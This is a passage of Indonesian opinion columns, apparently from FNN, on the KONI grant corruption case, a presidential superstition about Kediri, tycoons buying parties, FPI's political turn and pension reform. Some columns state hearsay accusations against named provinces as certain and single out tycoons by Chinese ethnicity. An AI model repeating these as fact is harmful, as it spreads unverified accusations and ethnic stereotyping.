2016-2018, Imam diduga juga meminta uang sejumlah total Rp 11,8 miliar. Imam dan Ulum disangka melanggar pasal 12 huruf a atau huruf b atau Pasal 12 B atau Pasal 11 UU Nomor 31 Tahun 1999 sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Perubahan atas UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 jo Pasal 64 ayat (1) KUHP. Melansir Tempo.co, Jumat (14 Februari 2020 13:13 WIB), Imam menyebut bahwa dakwaan yang dibacakan JPU KPK fiktif. “Banyak narasi fiktif di sini, nanti kami akan lihat,” kata Imam usai menjalani sidang di Pengadilan Tipikor Jakarta, Jumat (14/2/2020). Hibah Daerah Skandal korupsi Dana Hibah KONI yang menjerat Imam Nahrawi Cs tersebut berpotensi merembet ke daerah. KONI Provinsi yang berpotensi dijaring KPK dan Kejaksaan, yaitu yang banyak melakukan Kontrak Atlet untuk PON 2008, 2012, dan 2016. Dalam setiap penyelenggaraan PON pasti terjadi Transfer Atlet Nasional antar provinsi yang menggunakan Dana Hibah Olahraga dari Pemprov. Padahal, Dana Hibah Olahraga Provinsi itu targetnya untuk Pembinaan Atlet Daerah. Kalau lembaga penegak hukum tak mampu mengungkap dan seret Pengurus KONI Provinsi ke penjara, berarti ada sistem hukum yang “salah urus”. Karena, ada banyak atlet provinsi lain yang ditransfer untuk PON. Penyelewengan Dana Hibah Olahraga Daerah semakin besar dilakukan oleh KONI Provinsi di posisi 3 besar PON 2008, 2012, dan 2016. Ketiga besar PON itu adalah DKI Jakarta, Jawa Barat, dan Jawa Timur. Ketiga daerah dipastikan melakukan penyelewengan Dana Hibah Olahraga dari Pemprovnya. Untuk fee transfer dan kontrak atlet nasional dari provinsi rival. Nilainya terbanyak dibanding daerah lain. Kasus korupsi Imam Nahrawi itu hanya sebagai pintu masuk. Karena nilainya kecil. Ini justru yang terbanyak itu terjadi di daerah. Penyelewengan yang dilakukan KONI Provinsi tersebut berkendok permainan kontrak pemain. Tapi, kebocoran yang terjadi mencapai ratusan miliar rupiah pada setiap tahun. Konon, KPK dan Kejaksaan sedang “membidik” ini. KONI Daerah yang jadi target pengungkapan korupsi Dana Hibah Olahraga dari Pemprov itu adalah: tiga besar PON 2008, 2012, dan 2016. Ketiga daerah peserta kontingen PON 2008, 2012, dan 2016 itu yang banyak kontrak atlet nasional milik provinsi lain. Karena, dana Hibah Olahraga dilarang digunakan untuk bayar Fee Transfer dan kontrak pemain. UU Nomor 3 Tahun 2005 tentang Sistem Keolahragaan Nasional, PP Nomor 16, 17, dan 18 Tahun 2007 sudah memastikan dana Hibah Olahraga hanya untuk Pembinaan Atlet Daerah. Bukan Dana Transfer Atlet! Dalam setiap penyelenggaraan PON, dipastikan terjadi transfer atlet nasional antar provinsi yang menggunakan Dana Hibah Olahraga. Kalau mulus tanpa manuver politik, semua KONI Daerah siap-siap dijerat terkait Dana Hibah yang diselewengkan untuk fee transfer atlet. Modusnya, pengembalian Sisa Dana dari Kwitansi tersebut menggunakan Rekening Pribadi Bendahara Umum KONI Provinsi. Tujuannya, supaya tidak terlacak. Kwitansi berstempel KONI Provinsi itu Bernilai A, yang diterima atlet 1/3A - 1/2A, sisanya wajib dikembalikan. Kabarnya, bukti skandal Dana Hibah KONI Provinsi itu sudah di tangan institusi penegak hukum. Termasuk Kwitansi dan Rekaman Video. Indra Gunawan, 31 tahun, adalah salah satu atlet renang nasional yang pada PON 2016 lalu membela kontingen Jawa Timur. Ia dikontrak Jawa Timur bersama beberapa atlet nasional lainnya seperti Glenn Victor Sutanto. Mengutip Kompas.com (11/02/2016, 20:07), Indra Gunawan merupakan peraih satu-satunya medali emas buat tim renang Indonesia di ajang SEA Games di Singapura, Juni 2015. Ketika itu Indra meraih medali emas di nomor 50 meter gaya dada. Indra Gunawan yang dikontrak Jatim setelah pindah dari Sumatera Utara adalah salah satu bukti adanya kontrak atlet antar provinsi. Penulis wartawan senior.

Klenik Istana; Apes Jokowi di Kediri

Oleh Dimas Huda Jakarta, FNN - Kudus dan Kediri adalah dua daerah yang amat penting bagi Indonesia. Sayang, tandem Kota Kretek ini dimitoskan “angker” bagi pejabat tinggi, termasuk presiden. Dua daerah ini adalah lumbung duit. Pada 2019, pabrik rokok di Kudus menyetor Rp31,79 triliun ke negara. Sedangkan Kediri setor Rp20,69 trilliun. Lucunya, Kudus dan Kediri dianggap daerah yang perlu “dihindari” oleh pejabat tinggi. Dua daerah itu dimitoskan sebagai daerah “wingit”. Suci dan keramat. Juga angker. Pejabat tinggi, termasuk presiden, mesti menghindari dua daerah ini jika ingin kekuasaanya langgeng. Tak sedikit yang mempercayai mitos dan klenik seperti itu, tak terkecuali orang-orang terdidik di Istana, macam Menteri Sekretaris Kabinet, Pramono Anung. Presiden Joko Widodo membatalkan kunjungannya ke Kediri atas saran orang-orang di sekelilingnya. "Terus terang saya termasuk yang menyarankan Bapak Presiden tidak ke Kediri. Saya yang menyarankan," kata Pramono di depan para kiai sepuh pengasuh Ponpes Hidsyatul Mubtadien, Lirboyo, Kediri, Sabtu (15/2). Menurutnya, Kediri merupakan wilayah yang “wingit” untuk didatangi presiden. Pramono datang bersama Menteri Perhubungan, Budi Karya Sumadi, dan Menteri PUPR, Basuki Hadimuljono. Para pembantu presiden ini meresmikan rumah susun sewa atau rusunawa di Pondok Pesantren Lirboyo, Kediri, Jawa Timur. Pramono lalu mengungkap mitos, bahwa Presiden keempat RI, KH Abdurrahman Wahid, atau Gus Dur sempat berkunjung ke Kediri. Setelah itu, ada gejolak di Ibu Kota hingga terjadi pelengseran Gus Dur dari kursi Presiden RI. Menurut Pramono, wingit tersebut tidak berlaku untuk Wakil Presiden RI. Oleh karenanya, ia tidak pernah melarang Wakil Presiden, Ma'ruf Amin, apabila hendak berkunjung ke Kota Tahu tersebut. "Kalau Pak Wapres biasanya tidak apa-apa," sebutnya. Kejujuran Pramono ini boleh jadi mengundang senyum sinis. Buktinya, linimassa Twitter pun langsung heboh oleh tagar #JokowiTakutKediri setelah itu. Warganet ramai menuliskan tagar tersebut melalui cuitannya. Kurang dari dua hari sejak Pramono menunjukkan kepolosannya itu, lebih dari 5.000 cuitan yang memakai tagar tersebut. "Kutukannya cukup jelas, siapa kepala negara yang tidak suci benar masuk wilayah Kota Kediri maka dia akan jatuh," jelas Kiai Ngabehi Agus Sunyoto. Sebab ini kah #JokowiTakutKediri?. Ayo Pak Jokowi jangan percaya klenik #JokowiTakutKediri," kata @Raj4Purwa. Sementara itu, warganet lain meminta agar Jokowi membuktikan kebenaran mitos tersebut. @husni80 mencuit, "Kenapa #JokowiTakutKediri. Padahal kediri kuat akan nuansa sejarah jaman dahulu ...Karena disanalah dahulu pasukan China dipermalukan. Jadi kenapa #JokowiTakutKediri. Kan selalu bangga dgn slogan ... Jas Merah, Jangan lupakan sejarah". Kartikea Singha Faktanya, mitos itu memang banyak yang percaya. Apalagi dengan dibumbui contoh presiden yang apes gara-gara menginjakkan kaki di Kediri. Konon, dari daftar enam presiden RI, hanya tiga presiden yang berani datang ke Kota Kediri yaitu, Sukarno, B.J. Habibie, Gus Dur dan Susilo Bambang Yudhoyono atau SBY. Tiga presiden ini dilengserkan sebelum jabatannya tuntas. Jatuhnya orang nomor satu di Indonesia itu ada yang mengkait-kaitkan dengan kutukan Raja Kalingga, Kartikea Singha. Dalam Babad Kadhiri diceritakan dalam kutukannya itu, Kartikea mengatakan, setiap kepala negara yang tidak memiliki hati suci maka akan jatuh atau lengser. Ada beberapa tempat di Kediri yang diyakini masyarakat tidak boleh dilewati oleh raja atau pun presiden. Daerah itu antara lain, Simpang Lima Gumul, Jembatan Lama, dan Sungai Brantas. Gus Dur dilengserkan dari posisinya secara politik, tiga hari setelah melakukan kunjungan ke Pesantren Lirboyo Kediri. Tiga bulan pasca kunjungan ke Kediri, B.J. Habibie, juga harus merelakan jabatannya karena legitimasi pemerintahannya dianggap sangat lemah. Hanya saja, mitos itu tidak berlaku bagi Presiden SBY. Ia pernah mengunjungi Kediri dan Blitar ketika terjadi letusan Gunung Kelud pada tahun 2007. Bukannya lengser, SBY malah kembali terpilih menjadi presiden kedua kalinya pada 2009. Kudus Selain Kediri, Kudus juga dianggap “wingit”. Bukan hanya presiden, para pejabat tinggi macam menteri juga mikir seribu kali untuk sekadar melewati Kota Kretek ini. Pada 10 Agustus 2016, Jokowi membatalkan kunjungannya ke Pati juga gara-gara mitos seperti itu. Soalnya, jika melalui jalan darat, ke Pati berarti harus melalui Kudus, daerah “wingit” itu. Kudus dianggap “keramat” terkait dengan cerita tentang Rajah Kolocokro atau Kalacakra. Ini adalah rajah yang dibuat Sunan Kudus untuk melindungi muridnya Harya Penangsang. Tujuan rajah tersebut dibuat agar para raja atau pemimpin kerajaan yang melewati menjadi rakyak biasa. Konon, Sunan Kudus memasang rajah itu di pintu masuk Menara Kudus. Siapapun yang melewati pintu tersebut, apabila mempunyai kekuasaan, jabatan atau posisi yang tinggi, akan jatuh. Rajah ini dipasang saat terjadi konflik politik di Kerajaan Pajang yang dipimpin Sultan Hadiwijaya. Sunan Kudus membuat Rajah Kalacakra diletakkan di gerbang masuk Menara Kudus. Siapapun yang melewati akan kehilangan kadigdayan. Diharapkan Hadiwijaya melewati rajah itu, ternyata dia lewat jalan lain. Justru Haryo Penangsang yang lalai, dan melewati gerbang tersebut. Celaka dia setelahnya. Masyarakat luas mengaitkan hal itu dengan cerita rakyat bahwa Sunan Kudus telah memasang Rajah Kalacakra di gerbang atau pintu masuk menuju masjid yang juga bisa mengakses ke makam. Rajah itu, konon, mampu melemahkan semua kekuatan atau daya linuwih seseorang. Bahkan dipercaya, penguasa akan segera kehilangan kekuasaannya jika melewati rajah itu. Demikian pula bagi pejabat. Hingga saat ini, cerita itu masih terus berkembang, dilestarikan dan dikukuhkan. Banyak pejabat dan politisi yang kemudian yang tidak mau ambil resiko setelah datang ke Masjid Menara Kudus akan kehilangan pengaruh dan kekuasaannya. Apalagi mereka juga tidak tahu di pintu yang mana dulu Sunan Kudus memasang doa saktinya. Bahkan tak hanya di pintu itu. Memasuki kota Kudus dianggap sama risikonya. Oleh mereka yang percaya mitos ini lalu mengait-kaitkan jatuhnya Gus Dur juga karena datang ke Kudus. Kala itu, Gus Dur mengunjungi kiai sepuh di Kudus dan selang tak berapa lama ia harus lengser. Pada era Orde Baru, Menteri Pendidikan dan Kebudayaan Daoed Joesoef juga beberapa menteri lainnya, jatuh setelah mengunjungu Kudus. Pada akhir September 2017, Gubernur Jateng, Ganjar Pranowo, nekat mendatangi Makam Sunan Kudus untuk mengikuti prosesi puncak Buka Luwur. Nyatanya, dia terpilih kembali. ”Lha sampeyan percaya? Percaya dengan hal itu (mitos pejabat akan lengser jika melewati gapura Menara Kudus)?” kata Ganjar Pranowo dengan nada agak tinggi saat ditanya wartawan terkait mitos tersebut. Ganjar tidak menghiraukan mitos tersebut. Baginya, dia datang ke Menara Kudus dengan tujuan baik. Yakni menghormati prosesi Buka Luwur. Terlebih tradisi itu bisa terus berjalan hingga sekarang. Sunan Kudus memang memasang rajah kalacakra. Tujuannya agar orang yang datang ke Masjid Menara Kudus, fokus untuk beribadah kepada Allah SWT. Caranya bagaimana? Dengan melepas semua nafsu dan keinginan untuk berkuasa. Jika tidak, maka kesaktian, jabatan, dan kedudukan si penggede akan hilang. Kurang Percaya Kembali ke Kediri. Pengasuh Ponpes Putra Putri HM-HMQ Lirboyo, KH. Abdullah Kafabihi Mahrus, berpendapat tidak ada kaitan antara presiden yang lengser dengan kunjungannya ke wilayah Kediri. "Ya kalau kami-kami itu, orang pesantren itu dalam hal-hal demikian ya kurang percaya. Kami lebih percaya dengan Allah," kata Kiai Kafabihi kepada Suara.com di kediamannya di Lirboyo, Senin (17/2). Menurut Kafabihi, mitos seperti itu perlu diluruskan. Jika tidak, maka dikhawatirkan akan merusak akidah. "Kadang-kadang kita lupa dengan Allah, harus ada pelurusan," katanya. Kalaupun masyarakat mempercayai mitos itu, Kiai Kafabihi meyakini ada penangkalnya. Caranya dengan berdoa dan bertawakal kepada Allah, dengan cara itu mitos tersebut dipastikan luntur. "Yang lebih kuasa, yang lebih segala-galanya adalah Allah. Kalau Allah tidak menghendaki, tidak akan terjadi," ucapnya. Persoalannya adalah, Jokowi dan penghuni Istana lebih mempercayai mitos itu ketimbang penangkalnya. Penulis wartawan senior.

Parpol: Di Bawah Lindungan Para Taipan

Oleh Hersubeno Arief Jakarta, FNN - Ketua MPR Bambang Soesatyo buka rahasia sangat besar! Tapi sebenarnya kalau mau jujur, sudah bukan rahasia. Kita sudah sama-sama tahu. Untuk menguasai partai politik, kata Bamsoet, seorang pemodal cukup merogoh kantong tak lebih dari Rp 1 Triliun! Artinya dengan jumlah parpol yang lolos ambang batas parlemen hanya berjumlah 9, maka untuk menguasai parlemen secara penuh hanya butuh modal Rp 9 Triliun. Jumlahnya jauh lebih sedikit, karena untuk menguasai parlemen tak perlu semua partai harus dibeli. Cukup dua pertiga suara saja. Pilih 3-4 parpol dengan suara tertinggi. Jadi modalnya kira-kira hanya Rp 5-6 Triliun mereka sudah bisa menguasai Indonesia. Murah bukan? Dengan menguasai parpol, menguasai parlemen, maka para pemodal bisa menentukan siapa yang menjadi Presiden, Menteri, Panglima TNI, Ketua KPK, Kapolri, Gubernur, Bupati, Walikota dan berbagai jabatan publik lainnya. Tentu saja termasuk pimpinan MPR, DPR dan DPD. Ongkos tambahan diperlukan ketika berlangsung pilkada, pemilihan jabatan publik melalui DPR, dan puncaknya yang paling besar ketika berlangsung pilpres. Sejumlah pengamat pernah menyebut untuk maju pilpres, seorang kandidat setidaknya membutuhkan dana Rp 7 Triliun. Tapi melihat praktik Pilpres 2019 lalu, jumlah yang dibutuhkan jauh lebih besar dari itu. Bagi pemilik modal, angka tersebut tetap saja murah, mengingat yang akan dia kuasai adalah Indonesia. “Jika partai politik dikuasai, maka dia akan menguasai parlemen, jika dia kuasai parlemen maka dia akan kuasai pasar-pasar dan sumber daya alam kita, dan dialah yang berhak mengusung siapa pemimpin kita,” ujarnya. Dalam bahasa yang lebih lugas, Bamsoet ingin mengatakan parpol dan para pejabat kita sesungguhnya tidak lebih hanya sekedar proxy, boneka dari para pemilik modal. Mereka adalah orang-orang yang dimodali untuk menjalankan agenda kepentingan para pemilik modal. Urusannya tidak jauh-jauh penguasaan sumber daya alam dan ekonomi melalui politik kekuasaan. Bamsoet menjamin apa yang dikatakannya sahih. Berdasarkan pengalaman sekian puluh tahun terjun di dunia politik. Dia juga pernah mencoba maju menjadi ketua umum Golkar. Namun melalui lobi-lobi, tarik ulur dan tekanan politik dia harus mengalah ke Airlangga Hartarto. Tidak gratis. Kompensasinya dia mendapat posisi sebagai Ketua MPR dan Wakil Ketua Umum Golkar. Sebelumnya Bamsoet jug pernah menjadi Ketua DPR. Sebuah posisi yang hanya bisa diraih melalui proses lobi-lobi politik yang tidak gratis juga. Jadi sekali lagi apa yang dikatakan Bamsoet dapat dipastikkan, dijamin sahih. Bukan hoax, apalagi fitnah. Siapa para pemilik modal itu? Kalau melihat angkanya dalam jumlah triliunan, maka sebenarnya tidak banyak orang Indonesia yang memilikinya. Mereka adalah sekelompok kecil orang kaya Indonesia. Mereka punya kepentingan politik agar bisnisnya tetap terjaga dan bisa lebih menggurita. Siapa para orang kaya itu. Datanya terbuka. Setiap tahun majalah Forbes melansir daftar 100 orang terkaya di Indonesia. Dipastikan pemainnya tidak jauh-jauh dari mereka. Di posisi 10 besar urutan pertama ditempati mantan pemilik pabrik rokok Djarum R Budi dan Michael Hartono. Jumlah kekayaan: US$37,3 miliar (Rp526,11 triliun). Berikutnya pemilik PT Sinar Mas Group Widjaja Family (2). Jumlah kekayaan: US$9,6 miliar (Rp135,4 triliun). Pengusaha hutan dan Petrokimia Prajogo Pangestu (3) Jumlah kekayaan: US$7,6 miliar (Rp107,2 triliun). Pemilik pabrik rokok PT Gudang Garam Susilo Wonowidjojo (4). Kekayaan: US$6,6 miliar (Rp93,1 triliun). Pengusaha Petrokimia Sri Prakash Lohia (5) Kekayaan: US$5,6 miliar (Rp78,9 triliun). Berikutnya pengusaha Anthoni Salim (6) kekayaan: US$5,5 miliar (Rp77,5 triliun). Pemilik Mayapada Group Tahir (7).Kekayaan: US$4,8 miliar (Rp67,7 triliun). Pengusaha farmasi Boenjamin Setiawan (8) kekayaan: US$4,35 miliar (Rp61,3 triliun). Pengusaha media Chairul Tanjung (9) Kekayaan: US$3,6 miliar (Rp50,7 triliun). Pemilik PT Mayora Jogi Hendra Atmadja (10).Jumlah kekayaan: US$3 miliar (Rp42,3 triliun). Coba perhatikan jumlah kekayaan mereka. Angka Rp 1 Triliun adalah jumlah kecil. Cuma seupil! Kalau bench mark-nya adalah orang terkaya di Indonesia, keluarga Hartono. Maka jumlahnya hanya 0.0019 persen dari total kekayaannya. Itu hanya tusuk gigi bagi mereka! Dari 10 orang terkaya itu, hanya dua orang yang bukan taipan dari etnis Cina. Sri Prakash Lohia dan Chairul Tanjung. Jika kita teruskan daftarnya sampai 100 orang terkaya, maka komposisinya juga akan sama. Mereka semua adalah taipan yang menguasai perekonomian Indonesia. Tidak semua taipan bermain-main dengan politik kekuasaan. Tapi kebanyakan yang bermain adalah mereka. Karena mereka lah yang punya modal dan kekuatan dana. Kalau yang bermain adalah negara asing, maka kita dengan mudah menyebut Cina lah saat ini yang paling berkepentingan. Cina banyak menggelontorkan dana untuk proyek-proyek infrastruktur di Indonesia. Dan semua itu pasti tidak gratis. Apa yang disampaikan Bamsoet seharusnya membuka mata kita. Negara ini tengah dalam bahaya. Sistem politik liberal yang sangat mengandalkan kekuatan uang, membuat sekelompok orang, sekelompok pemodal, kepentingan asing, dengan mudah dan murah, membajak negeri ini melalui proses demokrasi. Rakyat pemilih hanya menjadi justifikasi. Siapa yang menjadi presiden, gubernur, bupati, walikota dan semua jabatan publik lainnya sudah mereka ditentukan. Mereka lah para oligarki yang menjadi penguasa sesungguhnya negeri ini. Para politisi, pejabat negara mulai pusat sampai daerah, sesungguhnya hanya proxy yang dibayar murah! Penulis wartawan senior.

Tiba-tiba Saja Ketua MPR Bambang Soesatyo Terbangun

By Asyari Usman Jakarta, FNN - Tak ada angin, tak ada hujan. Ketua MPR Bambang Soesatyo (Bamsoet) mengatakan dua hari lalu (17/2/2020) bahwa para pemodal menguasai parpol-parpol. Bahkan cukup dengan uang satu triliun saja. Setelah itu, mereka bisa mendikte kebijakan parpol yang dibayar. Untuk selanjutnya, mereka mendikte parlemen (DPR). Kata Bamsoet, para cukong menyusup ke parpol-parpol untuk merebut posisi ketua umum. Mereka datang ketika sedang berlangsung Munas, muktamar, kongres, dan sejenisnya. Setelah duit digelontorkan, bereslah semua. “Jika partai politik dikuasai, maka dia akan menguasai parlemen, jika dia kuasai parlemen maka dia akan kuasai pasar-pasar dan sumber daya alam kita, dan dialah yang berhak mengusung siapa pemimpin kita, presiden kita, bupati kita, gubernur dan walikota, karena sistem yang kita punya,” ujar Bamsoet lagi. Rakyat boleh juga bersyukur atas kesiuman Bamsoet dari pingsannya. Anggap saja dia pingsan. Cukup lama. Padahal, anak-anak SMP saja sudah paham bahwa para cukong sejak dulu menguasai parpol-parpol. Kecuali satu parpol saja. Bamsoet terbangun dari tidurnya. Terlambat, tapi tetap disyukuri. Ketimbang tak pernah lagi siuman. Yang menjadi pertanyaan di benak penonton, mengapa Bamsoet baru sudi mengatakan itu dua hari lalu? Apakah karena dia sudah bosan bermukim di kolam terus? Mimpi apa kira-kira? Mungkinkah Bamsoet kecewa? Kecewa karena dia sendiri menjadi korban penyingkiran dari posisi ketua umum Golkar? Rakyat yang dibodohi oleh para politisi, termasuk Bamsoet, ‘kan sudah paham sejak dulu. Paham bahwa parpol, dan kemudian parlemen, selalu berada di bawah telunjuk pemodal. Itulah sebabnya dari pemilu ke pemilu orang semakin tidak berminat datang ke TPS. Karena mereka merasa pemilu adalah panggung penipuan. Nah, sekarang KPK dilemahkan sampai bonyok oleh DPR bersama Presiden Jokowi. Saking lemahnya, KPK mulai mengerjakan OTT 15-jutaan. Tak berdaya lagi menangkap koruptor-koruptor berkelas. Kalau pemandulan KPK ini dirujuk ke penyataan Pak Bamsoet yang terhormat, menjadi klop bahwa para cukonglah yang sesungguhnya berkuasa di negeri ini. Terima kasih banyak Pak Bamsoet. Semoga koleksi mobil mewah penjenengan terus bertambah. Hehe! [] 19 Februari 2020 Penulis wartawan senior.

Transformasi FPI dan Revolusi Sosial

By Dr. Syahganda Nainggolan Jakarta FFN – Jumat lusa, 21/2 Front Pembela Islam(FPI) akan menggelar demo besar-besaran untuk melawan wabah korupsi yang merajalela di Indonesia. Wabah korupsi itu semakin menjadi sejak kepemimpinan Jokowi. Pembobolan institusi keuangan, misalnya, di jaman Habibie berjumlah sebesar Ro. 400 milar, kasus "cessie" Bank Bali. Pembobolan jaman SBY naik tajam sebesar Rp. 6,7 triliun pada Kasus Bank Century. Nah, di jaman Jokowi ini naik menjadi 17 Triliun, kasus Jiwasraya. Ditambah Asabri akan menjadi Rp. 25 Triliun. Semua ini berujunga pada sebuah skandal politik. Pembobolan perusahaan asuransi milik negara. Umumnya perusahaan Badan Usaha Milik Negara (BUMN) itu terkait dengan kekuasaan. Bahkan, Soesilo Bambang Yudhoyono menantang rezim Jokowi dan DPR untuk membongkar keterkaitan pembobolan Jiwasraya dengan pendanaan pilpres 2019. Ini adalah gerakan FPI pertama kali dalam tema strategis. FPI bergerak di luar urusan keagamaan an sich. Atau dengan kata lain, perjuangan Islam memang dikatakan strategis kalau perjuangan itu sudah masuk kepada tema-tema struktural. Menyangkut dengan nasib rakyat yang dihancurkan melalui agenda-agenda korupsi kekuasaan. Transformasi Besar FPI Beberapa bulan lalu ketika saya di panel dengan Rocky Gerung (RG), di acara talk show Rahma Sarita, saya kaget dengan statement RG. Katanya, dia dulu paling benci lihat FPI dan Munarman. Dulu, di mata RG, FPI hanyalah preman berjubah putih. Namun, RG mengatakan bahwa FPI saat ini sungguh luar biasa. Larena FPI, dimata Rocky, telah mengambil peran yang sangat positif, sebagai pembela rakyat. Beberapa hari lalu, hal senada kita lihat dalam berita yang menyajikan pandangan Rizal Ramli. Rizal sangat kagum ketika menjadi pembicara pada acara yang diadakan FPI (bersama GNPF dan Alumni 212) tentang BPJS (Badan Pelaksana Jaminan Sosial). Rizal tidak membayangkan FPI dan kelompok-kelompok Islam militan ini konsern pada isu strategis seperti kenaikan iuran BPJS yang menyakitkan rakyat banyak. Bagi Rizal Ramli dan Rocky Gerung, tokoh sekuler yang di masa lalu alergi dengan FPI, memberi apresiasi terhadap FPI, bisa dimaknai dengan terjadinya transformasi FPI. Menjadi organisasi yang lebih dewasa dan bertanggung jawab. Namun, sebenarnya di sisi lain kita bisa juga melihat bahwa baik Rizal Ramli maupun RG, mungkin juga bertransformasi ke arah pemahaman yang utuh tentang pergerakan Islam. Kedua hal di atas, apapun faktanya, perlu diteliti dan di apresiasi. Pergerakan Islam maupun pergerakan ideologis lainnya memang ditahap awal membutuhkan doktrin tunggal kepada pengikutnya. Hal ini penting untuk menjaga pertumbuhan awal organisasi agar tidak disusupi pemikiran lain yang merusak maupun pembelokan arah gerakan. Dengan begitu, kita melihat sejak berdirinya FPI tahun 1998 sampai tahun 2014, tema-tema perjuangan FPI masih fokus pada isu "sektarianisme". Misalnya, anti maksiat, anti Syiah, anti Ahmadiyah, anti Komunis serta fokus melindungi diri dengan ajaran Ahlussunnah Waljamaah (versi Habaib). Pada tahun 2015, khususnya sejak aksi Parade Tauhid, bulan Juni, FPI masuk pada agenda kekuasaan (power). Pada tahun yang sama, bulan Desember, pada aksi 4/11 dan 2/12, gerakan FPI total berkembang pada isu kekuasaan. FPI akan selalu di garda paling depan mengahadapi kekuasan yang korup, zalim, dan semena-mena. Isu kekuasaan maksudnya adalah FPI secara terbuka menentang kekuasaan yang sedang eksis, yakni kekuasaan Jokowi. Bahkan, pada tahun 2017, FPI berhasil mendongkel Ahok dari kekuasaannya di Jakarta. Padahal Ahok di dukung penuh oleh semua kekuasaan rezim Jokowi. Setelah masuk pada isu kekuasaan, FPI berkembang seiring dengan munculnya “mazhab Rizieqisme". Mazhab yang menggambarkan pergolakan pikiran dan ajaran Habib Rizieq tentang Ideologi Negara, Pancasila. Pembelaan atas orang-orang miskin, konsep negara syariah. Dalam tulisan saya sebelumnya, “mazhab Rizieqisme” yang saya maksud itu mencakup ajaran HRS. Pertama, perjuangan Islam adalah perjuangan keadilan sosial. Kedua, perjuangan harus diakar rumput. Ketiga, Islam sebagai alat persatuan. Keempat, radikal atau tidak mengenal kompromi. Kelima, tanggung jawab sosial alias solidaritas. Informasi Prof. Dr. Sri Edi Swasono, Guru Besar ekonomi UI, yang juga menantu Proklamator Bung Hatta, ternyata HRS menguasai Pancasila jauh di atas rata-rata elit nasional. Hal ini dikatakannya setelah Sayidiman, jenderal tertua yang masih hidup, bersama dia, berdiskusi soal Pancasila dengan HRS. Banyak hal yang luar biasa tentang konsep Pancasila dari HRS. Pemehaman HRS melebihi pemahaman Jenderal Sayidiman dan Prof Dr. Sri Edi tersebut. Kembali pada perubahan sikap Rocky pada FPI, memang kita melihat bahwa tranformasi telah terjadi pada FPI secara keseluruhan. Dengan agenda-agenda besar negara, seperti menolak merajalelanya korupsi di kubu rezim Jokowi, transformasi FPI telah menjadikan organisasi itu sebagai kekuatan "civil society" terdepan untuk mengawal penyelenggara negara. Revolusi Sosial Sebuah perjuangan pada akar rumput selalu berarah pada revolusi sosial. Jean Jacques Rousseau, pemikir besar revolusi Prancis beberapa abad lalu, sebagaimana dikutip Wikipedia, berpikir bahwa "Rousseau posits that the original, deeply flawed Social Contract (i.e., that of Hobbes), which led to the modern state, was made at the suggestion of the rich and powerful, who tricked the general population into surrendering their liberties to them and instituted inequality as a fundamental feature of human society." Jean Jacques pada intinya mengatakan, segelitir orang-orang kaya dan penguasa yang curang telah memanipulasi masyarakat. Targetnya, meraka terus bisa memperkaya diri dan agar percaya ketimpangan sosial merupakan kewajaran. Pembebasan manusia dari cengkraman "kontrak sosial palsu”, yang menghancurkan peradaban, menurut Jean Jacques adalah keharusan. Manusia adalah makhluk mulia yang dipasung sistem kekuasaan masyarakat jahat. Ajaran Jean Jacques tentang kontrak sosial baru yang berisi kebebasan dan persamaan derajat semua manusia, telah mengantarkan revolusi di Francis pada abad ke 18 dulu. Rizieq ddan FPI i Indonesia dan telah bertransformasi dari ajaran perjuangan ahlak dan baik buruk. FPI telah berkembang pesat menjadi ajaran revolusioner saat ini. Mereka telah mendorong adanya sebuah konsep sosial baru di mana keadilan harus diletakkan pada rakyat mayoritas. Bukan pada segelintir taipan sebagai pengendali negeri alias sembilan naga. Pikiran dan ajaran FPI ini bukan lagi dengan membenturkan antara Pancasila vs Islam. Namun ini adalah pertentangan historic, antara yang disebut Jacques Rousseau tadi, yaitun "Kontrak Sosial Palsu" melawan "Kontrak Sosial Sempurna". Keuntungan kelompok FPI dalam perjuangannya adalah pikiran mereka sejalan dengan cita-cita pendiri negara (founding fathers). Bahwa negera dalam kontrak sosial adalah melindungi segenap tumpah darah dan menciptakan keadilan sosial secara total. Tidak dan selain itu. Penutup Perubahan sikap yang dalam dari tokoh-tokoh sekuler seperti Rocky Gerung dan Rizal Ramli terhadap eksistensi FPI terjadi belakangan ini. Mereka tidak lagi menganggap FPI sebagai preman bersorban putih. Mereka meyakini telah terjadi transformasi, dimana FPI saat ini adalah organisasi perjuangan rakyat yang utama. Organisasi yang selalu tampil membela rakyat. Memang, tanpa disadari, selama lima tahun terkahir, FPI masuk pada perjuangan strategis dengan isu-isu keadilan sosial. FPI yang anti korupsi dan berharap pemerintah yang membela rakyat. Basis argumentasi FPI dan khususnya Habib Rizieq, semakin lama semakin kuat dan komprehensip. Perjuangan yang dahulu terkenal sektarian, kini menjadi terbuka pada front nasional yang lebih luas. Dalam agenda terbaru, FPI masuk pada kritik kenaikan iuran BPJS yang memberatkan rakyat. Sedangkan pada Jumat, 21/2, nanti FPI masuk pada agenda aksi anti korupsi (Jiwasraya, Asabri, dan Bumiputra). Sebuah agenda besar rakyat untuk menghancurkan kezaliman struktural. Situasi ke depan Indonesia akan masuk pada tahun-tahun sulit. Akibat dari kemunduran pembangunan ekonomi. Keploporan FPI dalam perjuangan rakyat mungkin akan disambut diseluruh pelosok negeri. Tinggal rakyat berharap sejauh apa perubahan sosial yang mampu tercipta. Semoga ada kontrak sosial baru tentunya. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

"Pemotongan” Dana Pensiun Aparatur Negara, Dalih Tutupi Miss-management Proyek Infrastruktur?

Oleh Mochamad Toha Jakarta, FNN - Kebijakan Presiden Joko Widodo mengalihkan uang pensiun dari Taspen dan Asabri ke BPJS Tenaga Kerja (TK) menuai kontroversi. Para pensiunan diyakini bakal terkena potongan rata-rata sebesar Rp 300 ribu. Karena ada pemotongan ini, perwakilan pensiunan PNS, TNI, dan Polri menggugat Presiden ke Mahkamah Konstitusi. Sesuai amanat Undang-undang Sistem Jaminan Sosial, kebijakan ini akan diterapkan paling lambat pada 2029, seiring berkurangnya jumlah pensiunan. Sebuah pertanyaan mengemuka: ada apa dengan pengelolaan jaminan sosial dan asuransi di Indonesia? Dan, mengapa Jokowi terkesan buru-buru mengalihkan dana pensiun ke BPJS TK, ketika manajemen BPJS sedang menjadi sorotan masyarakat? Kebijakan baru tentang uang pensiunan dikeluarkan Presiden Jokowi. Namun, kebijakan ini membuat was-was pensiunan dan pegawai yang akan pensiun. Sebab, hal ini akan merugikan mereka. Rencananya, pemerintah meleburkan pengelolaan dana pensiun pegawai negeri sipil (PNS) dari PT Taspen dan PT Asabri ke BPJS TK atau Ketenagakerjaan. Hal ini 